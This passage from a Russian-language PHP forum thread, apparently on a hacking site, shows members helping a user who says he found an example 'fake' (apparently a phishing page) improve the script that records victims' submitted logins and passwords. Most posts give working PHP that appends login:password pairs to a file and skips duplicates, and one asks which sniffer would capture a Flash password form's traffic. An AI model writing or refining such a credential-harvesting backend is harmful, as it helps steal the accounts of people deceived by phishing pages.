ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11431  
Старый 21.07.2009, 18:52
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
С нами: 8915117

Репутация: 389
По умолчанию

PHP код:
<?php

if (isset($_POST['var_1']) && isset($_POST['var_2']))
{
  
$link = @mysql_connect('localhost' , 'user' , 'login') or die('Такие вот пироги!');
  
$db_selected = @mysql_select_db('database', $link) or die('Такие вот пироги!');

  
$query = 'SELECT COUNT(*) FROM table WHERE var_1="' . mysql_escape_string($_POST['var_1']) . '" AND var_2="' . mysql_escape_string($_POST['var_2']) . '"';
  
$result = mysql_query($query);
  
$fetch = mysql_fetch_row($result);

  if (
$fetch[0] == '0')
  {
    
mysql_query('INSERT INTO table SET var_1="' . mysql_escape_string($_POST['var_1']) . '", var_2="' . mysql_escape_string($_POST['var_2']) . '"');
  }
}

?>
где-то так
 
Ответить с цитированием

  #11432  
Старый 21.07.2009, 20:20
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
С нами: 9096909

Репутация: 7
По умолчанию

Спасибо за совет. А вот если я так реализовал, чтобы в базу не записывать нашел пример фейка там все пишется в файл:
PHP код:
<?PHP
$Login 
= $_POST['login']; // Логин
$Psw = $_POST['psw']; // Пароль
// надо организовать проверку того, что есть уже в базе
$log = fopen("password.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Psw \n"); //записываем всё
fclose($log); //закрываем

?>
можно так проверить?
 
Ответить с цитированием

  #11433  
Старый 21.07.2009, 20:33
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
С нами: 8915117

Репутация: 389
По умолчанию

PHP код:
<?php
$file 
= 'password.php';

$login = $_POST['login'];
$password = $_POST['psw'];

$item = $login . ':' . $password;

$items = file($file);

$finded = False;

for (
$i = 0; $i < count($items); $i++)
{
  if (
$items[$i] == $item)
  {
    
$finded = True;
    break;
  }
}

if (
$finded == False)
{
  
$database = fopen($file,'a+');
  
fwrite($database,"\r\n" . $item);
  
fclose($database);
} else {
  echo(
'В базе есть!');
}

?>
где-то так

Последний раз редактировалось FireFenix; 21.07.2009 в 20:40..
 
Ответить с цитированием

  #11434  
Старый 21.07.2009, 20:41
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
С нами: 9096909

Репутация: 7
По умолчанию

Спасибо конечно, но че-то не хочет работать как надо)
 
Ответить с цитированием

  #11435  
Старый 21.07.2009, 20:50
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
С нами: 9096909

Репутация: 7
По умолчанию

все заработало, это я в delphi чуток не так посылал запрос. Спасибо еще раз. И еще можно вопрос по поводу Flash. Если есть форма по отправке пароля реализованная на флэш каким сниффером лучше узнать что он отправляет? Посоветуйте.
 
Ответить с цитированием

  #11436  
Старый 21.07.2009, 21:40
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
С нами: 9096909

Репутация: 7
По умолчанию

В общем не так работает как надо) Все равно пропускает одинаковые значения. обидно(
 
Ответить с цитированием

  #11437  
Старый 21.07.2009, 21:59
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
С нами: 9096909

Репутация: 7
По умолчанию

А как сделать, чтобы каждый новый параметр, т.е. логин:пароль писались с новой строчки?
 
Ответить с цитированием

  #11438  
Старый 21.07.2009, 22:08
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
С нами: 8915117

Репутация: 389
По умолчанию

смотря чем ты просматриваешь, некоторым редактором нужно возврат каретки + перенос строки, неотокрым хватает только переноса строки => используй (замени) для переноса "\r\n" или "\n"

PHP код:
<?php 
$delimetr 
= "\n"; //или "\r\n"
$file = 'password.php'; 

$login = $_POST['login']; 
$password = $_POST['psw']; 

$item = $login . ':' . $password; 

$items = file($file); 

$finded = False; 

for (
$i = 0; $i < count($items); $i++) 
{ 
  if (
str_replace($delimetr, '', $items[$i]) == $item) 
  { 
    
$finded = True; 
    break; 
  } 
} 

if (
$finded == False) 
{ 
  
$database = fopen($file,'a+'); 
  
fwrite($database, $item . $delimetr);
  
fclose($database); 
} else { 
  echo(
'В базе есть!');
} 

?>

Последний раз редактировалось FireFenix; 21.07.2009 в 22:20..
 
Ответить с цитированием

  #11439  
Старый 21.07.2009, 22:21
erihtoney
Познающий
Регистрация: 03.03.2009
Сообщений: 86
С нами: 9047791

Репутация: 258
По умолчанию

2fastiktut
PHP код:
<?php
$file
="file.dat"; 
$pass=$_GET['pass'];
$log=$_GET['log'];
$res=$log.";".$pass;
fclose(fopen($file,"a+b")); 
$f=fopen($file,"a+t"); 
flock($f,LOCK_EX);
$wr=$res."\n";
while(!
feof($f)){
    
$line=fgets($f);
    
$ar[]=$line;
}
function 
search($text, $var)
{
    foreach (
$var as $val)
    {
        if (
is_array($val) && search($text, $val)) return true;
        elseif (
$val==$text) return true;
    }
    return 
false;
} 
$se=search($wr,$ar);
if(
$se == TRUE){
    echo 
"Error";
}
else {
$wr_res=fwrite($f,$wr);
        if(
$wr_res !== FALSE){
            echo 
"write";
        }
        else{
            echo 
"recording error";
        }
    }
?>
 
Ответить с цитированием

  #11440  
Старый 22.07.2009, 17:22
alwex
Участник форума
Регистрация: 14.12.2008
Сообщений: 140
С нами: 9161606

Репутация: 14
По умолчанию

помогите плиз с траблой

Последний раз редактировалось alwex; 22.07.2009 в 17:32..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.